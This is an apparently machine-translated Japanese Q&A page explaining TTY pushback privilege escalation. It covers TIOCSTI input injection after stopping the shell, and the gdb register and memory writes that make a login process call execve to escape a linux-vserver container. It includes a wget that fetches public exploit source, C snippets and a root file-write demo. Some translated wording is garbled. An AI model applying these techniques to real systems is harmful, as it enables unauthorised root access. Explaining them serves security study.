web-dev-qa-db-ja.com

ttyプッシュバック-プライバシーのエスカレーション

TTYプッシュバックをよりよく理解しようとしています(正しい用語を使用していると想定しています)。

調査を通じて私が決定できることから、ttyプッシュバックは、本質的に、ユーザーがrootコマンドに対して「プッシュバック」と言うようにユーザーを許可し、ルート権限を取得できるということです: 私が知っていることを説明するリンク遠く

シナリオでは、ルートユーザーが別のユーザーとしてアプリケーションを実行して、侵害された場合に直接ルートシェルを回避しようとする可能性があります。 su -l www-data -c randomapplication

上記のリンクを読むと、いくつかのことがわかりますが、それらについては理解できません(下記)。 gdbはどのように使用されているのですか?この特定のエクスプロイトの代替手段はありますか?

この投稿の一般的なポイントは、ttyプッシュバックの詳細な説明と、それがどのように正確に機能し、どのように利用するかです。

cat <<EOF > /x
#!/bin/bash
exec /TtyPushbackSignalin --NoSignal -- \$'\ntouch /xxx-outside\nstty sane'
EOF
chmod 0755 /x
gdb --pid [pid of login process]
(gdb) set *0x8051000=0x7880cd
(gdb) set *0x8051004=0x8051002
(gdb) set *0x8051008=0
(gdb) set $eax=0x0b
(gdb) set $ebx=0x8051002
(gdb) set $ecx=0x8051004
(gdb) set $edx=0x8051008
(gdb) set $eip=0x8051000
(gdb) quit

CコードPOC

8
TheHidden

OK、これは完全な答えではないので、私は報奨金が期限切れになるのを待って日和見的ではないと思われるようにしました。脆弱性のlinux-vserver部分を複製できません(主に2.6カーネルが必要で、上記のアセンブリではホストとゲストマシンの両方が32ビットモードである必要があるため)。私は基本的な脆弱性のみを複製でき、残りはどのように機能するかを説明します。ここに行く:


プッシュバック

TIOCSTI ioctlは、man 4 tty_ioctlからの偽の入力を可能にする難解なIOコントロールです

Faking input
    TIOCSTI   const char *argp
           Insert the given byte in the input queue.

したがって、プログラムで、TTY(または、最近のシステムではPTY、つまり疑似端末)の入力キューにバイトを入れることができます。

これで、TTYが特権が制限されているプロセスと昇格された特権を持つプロセス(ルートシェルなど)で共有されている場合、キューを制限されたシェルから昇格された特権シェルに空にすることができる場合があります。これは halfdogのサンプルコードサンプル によって実行されますが、知っておく必要がある追加の事項が1つあります。それは、シェルがSIGSTOP信号を処理する方法です。そこで迂回します。

SIGSTOP、SIGTSTPおよびシェル

SIGSTOPはSIGTSTPとまったく同じように扱われ( SO質問 を参照))、SIGTSTPはほとんどすべての端末で実行されます。 Ctrl+Z。簡単な例は次のとおりです。

]$ less /etc/group  # And hit Ctrl+Z

[1]+  Stopped(SIGTSTP)        less /etc/group
]$ fg  # fg sends SIGCONT, and we are back inside less

ただし、シェルはSIGTSTPを無視します。たとえば、

]# su - grochmal
]$  # Ctrl+Z does not do anything in here
]$ exit
logout
]#  # back into a root Shell

シェルはSIGSTOPを無視しませんが、SIGSTOPを受け取ったシェルは最初にすべての子にSIGSTOPをリレーし、その後待機します。これは、プロセスがシェルの停止(またはシェルの終了)に耐えるためにNohupコマンドを使用する必要がある理由でもあります。うーん...しかし、Nohupはシェルが停止してもプロセスを存続させることができるため、同様のシグナルハンドラーを実装するプロセスの1つを停止できます。

さらに、シェルが停止した後にプロセスを実行したままにできる場合、次にバイトをTTY入力に挿入します。これらのバイトを受信するのはルートシェルです!

コード

サンプルコードはそれを正確に行い、最初にシグナルハンドラを準備します:

sigAction.sa_sigaction=handleSignal;
sigfillset(&sigAction.sa_mask);
sigAction.sa_flags=SA_SIGINFO;
sigAction.sa_restorer=NULL;
sigaction(SIGSTOP, &sigAction, NULL);

そして、SIGSTOPをその親(非特権シェル)に送信します。

if (sendSignalFlag) kill(getppid(), SIGSTOP);

次に、--の後の引数からすべてのバイトをTTY入力にプッシュします。

pushbackLength=strlen(pushbackString)+1;
for(pushbackPos=0; pushbackPos<pushbackLength; pushbackPos++) {
  result=ioctl(0, TIOCSTI,
      pushbackPos+1!=pushbackLength?pushbackString+pushbackPos:"\n");
  if(result) {
    fprintf(stderr, "Pushback failed, result %d, error %d (%s)\n",
        result, errno, strerror(errno));
    return(1);
  }
}

そして、それだけです。唯一の追加のトリックは、次の例で説明する$''構文です。

ささいな使い方の例

ルートシェルから始めて、su -を実行して、ささいなプッシュバックを作成してみましょう。

]# ls /
bin  boot  dev  etc  home  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
]# su - grochmal
]$ wget http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/TtyPushbackSignaling.c
]$ gcc -o ttyp TtyPushbackSignaling.c 
TtyPushbackSignaling.c: In function ‘main’:
TtyPushbackSignaling.c:83:28: warning: implicit declaration of function ‘getppid’ [-Wimplicit-function-declaration]
   if (sendSignalFlag) kill(getppid(), SIGSTOP);

それは結構です、#include <unistd.h>を追加するのを忘れただけです。そして今、プッシュバック:

]$ echo yay >/yay
-bash: /yay: Permission denied
]$ ./ttyp -- $'echo yay >/yay\necho nay >/nay\n'
echo yay >/yay
echo nay >/nay


[1]+  Stopped                 su - grochmal
]# echo yay >/yay
]# echo nay >/nay
]#   # here I regain control of the Shell
]# jobs
[1]+  Stopped                 su - grochmal
]# ls /
bin  boot  dev  etc  home  lib  lib64  lost+found  media  mnt  nay  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  yay

ユーザーgrochmalとして/yayに書き込むことはできませんが、echoを入力キューにプッシュして、ルートシェルに強制的に実行させると、ルート権限で実行されます。 ./ttyp呼び出しでは、$''シェル構文を使用して、\n文字を、2つの文字\およびnではなく、改行(0x0a)として埋め込むことができます。

]$ echo 'yay\nyay'
yay\nyay
]$ echo $'yay\nyay'
yay
yay

仮想コンテナの内部

(これを複製することはできません、それがどのように機能するかについてのみ議論できます)

今あなたの質問のトリッキーなビット、すなわちこれが来ます:

cat <<EOF > /x
#!/bin/bash
exec /TtyPushbackSignalin --NoSignal -- \$'\ntouch /xxx-outside\nstty sane'
EOF
chmod 0755 /x
gdb --pid [pid of login process]
(gdb) set *0x8051000=0x7880cd
(gdb) set *0x8051004=0x8051002
(gdb) set *0x8051008=0
(gdb) set $eax=0x0b
(gdb) set $ebx=0x8051002
(gdb) set $ecx=0x8051004
(gdb) set $edx=0x8051008
(gdb) set $eip=0x8051000
(gdb) quit

これは、仮想化エンジン(この場合はlinux-vserver)がホストとゲストマシン間でTTYを共有することを期待しています。つまり、特権を通常のユーザーからrootにエスカレートするのではなく、仮想マシンのrootからホストマシンのrootにエスカレートします。

最初の部分は、上記の簡単な例とそれほど異なりません。 /xという名前のスクリプトを作成し、その中からプッシュバックコードを呼び出します。唯一の違いは次のとおりです。

  1. これをログアウト時に呼び出します(以下を参照)。そのため、SIGSTOPを自分で送信する必要はありません。そのために--NoSignalを使用します(コード内のフラグを制御します)。
  2. execに渡す必要があるため、$\$)をエスケープする必要があります

つまり、実行可能なスクリプト(/x)があります(chmod 755)。ログオフ時にそのスクリプトを強制的に呼び出すことができた場合(およびTTYが共有されている場合)、勝ちます。ログオフは、loginプロセスを起動してTTYを返すことで実行されることがわかっています。

注:今日のほとんどのLinuxシステムは、単純なloginではなくsystemd-loginを使用します。

組立部品

ログインプロセスはSIGCONTを待機しており(停止したプロセスと同様)、そのメモリは仮想マシンのルートによって所有されています。そのメモリを所有しているので、プロセスを破壊することにより、プロセスを必要なものに実行させることができます。それがGDBがそこで行っていることです。その抜粋のレジスタ名に基づいて、リトルエンディアンでワードサイズが32ビット(4バイト)のi386 Intel CPUで実行されていることがわかります。そのGDB部分を、完全な単語を使用する同等のものに書き換えることができます(GDBはとにかく完全な単語を使用します。以下はより明確です):

gdb --pid [pid of login process]
(gdb) set *0x8051000=0x007880cd
(gdb) set *0x8051004=0x08051002
(gdb) set *0x8051008=0x00000000
(gdb) set $eax=0x0000000b
(gdb) set $ebx=0x08051002
(gdb) set $ecx=0x08051004
(gdb) set $edx=0x08051008
(gdb) set $eip=0x08051000
(gdb) quit

EIPを上書きして、メモリ内の場所を指す命令ポインタを0x007880cdで上書きします。 cdは、1バイトを引数としてとるOPCODEであるため、インテルアセンブリーでcd80または単にint 0x80の演算として読み取ることができます(これはリトルエンディアンであることに注意してください)。

int 80は、x86(i386)Intelでsyscallを実行する割り込みです。割り込み番号は、0x0bで上書きしたEAXレジスタから取得されます。 Linuxカーネルヘッダー、つまりx86/include/generated/asm/syscalls_32.hでその割り込み番号を確認できます。それは偶然です:

#ifdef CONFIG_X86_32
__SYSCALL_I386(11, sys_execve, )
#else
__SYSCALL_I386(11, compat_sys_execve, )
#endif

そう、そう、それが目覚めたら、ログインプロセスはsys_execveシステムコールを実行します。ただし、man 2 execveによると、システムコールには引数があります。

int execve(const char *filename, char *const argv[], char *const envp[]);

すべての(ほとんどすべての)システムコールには3つの引数があり、それらはEBXECX、およびEDXレジスタから取得されます。

  • EBXには0x08051002が含まれます。これは、0x08051002に設定した0x007880cdの2バイト後です。これがリトルエンディアンマシンであることを思い出せば、0x08051002の後の最初の2バイトは0x0078であることがわかります。これはconst char *として解釈されるため、文字x(0x78)および文字列ターミネーター\0(0x00)です。

  • ECXは、ポインタのポインタであるconst char **にする必要があります(syscallのためにnullで終了します)。 x86 Intelでは、ポインターは4バイト長です。 ECX0x08051004に設定します。最初の4バイトには0x08051002が含まれます。これは文字列"x"へのポインターです(覚えていますか?EBXの内容です)。次の4バイト(0x08051004)には、ポインターのポインターを終了させるゼロのみが含まれています。

  • EDXには、0x08051008が含まれ、これは(const char **として)4バイトのゼロを指します。つまり、null引数を意味します。

したがって、プレーンCでは、呼び出しは次のように書くことができます。

const char *x = "x";
const char **ar = { x, 0 };
execve(x, ar, ar[1]);

Syscallのいくつかの引数にメモリの場所を再利用するこの手法は、シェルコードで非常に一般的です。これは、サイズが小さくなるためです。

追記

ハーフドッグの人たちはNXとASLRについても言及していますが、理由はわかりません。攻撃者がスタックを上書きできるだけであるか、プロセスの特定のインスタンスを分析できない場合(スタックの開始がランダム化されているため)、NXおよびASLRはバッファオーバーフローから保護します。

  • [〜#〜] nx [〜#〜]スタックからのアセンブリの実行を防ぎます。しかし、スタックについては気にしません。実行可能な命令を含むことが許可されているメモリの一部である現在のEIPの隣のメモリを破壊する可能性があります。

  • [〜#〜] aslr [〜#〜]は、メモリ内のスタック位置の開始をランダム化します。これにより、バッファオーバーフローがどこにあるかを知ることができなくなります。 lib-exec(ハーフドッグで言及)のバウンスによってそれを克服することを可能にする脆弱性がここにありましたが、それはかなりどこでもかなり修正されました。

GDBと/proc/<PID>/statを使用して現在のEIP(関連するSO質問 を参照)を検索し、0x8051000ではなくそれに近いメモリを破損することで、両方を無効にすることができます。

結論

この脆弱性は、破損したexecveプロセスからlogin呼び出しを実行しました。このexecveは、TTY入力キューにバイトをプッシュするスクリプトを開始しました。このスクリプトは、ホストマシンシェルによって読み取られました。

私が持っていたものにはこれを複製できませんでした。ハーフドッグと同様の環境(カーネル2.6、x86 Intel、linux-vserver、代わりにx86_64、カーネル3.16および4.7、Xen)を使用しなかったことを認めます。バグがあるのは、execve呼び出しがスクリプトを見つける方法です(これがレプリケーションの主な問題です)、linux-vserverはホストシェルをゲストマシンの/ファイルシステムに残していると思います(man 7 path_resolutionを参照)。それにもかかわらず、これが多かれ少なかれこれがどのように機能するかが明確になることを願っています

8
grochmal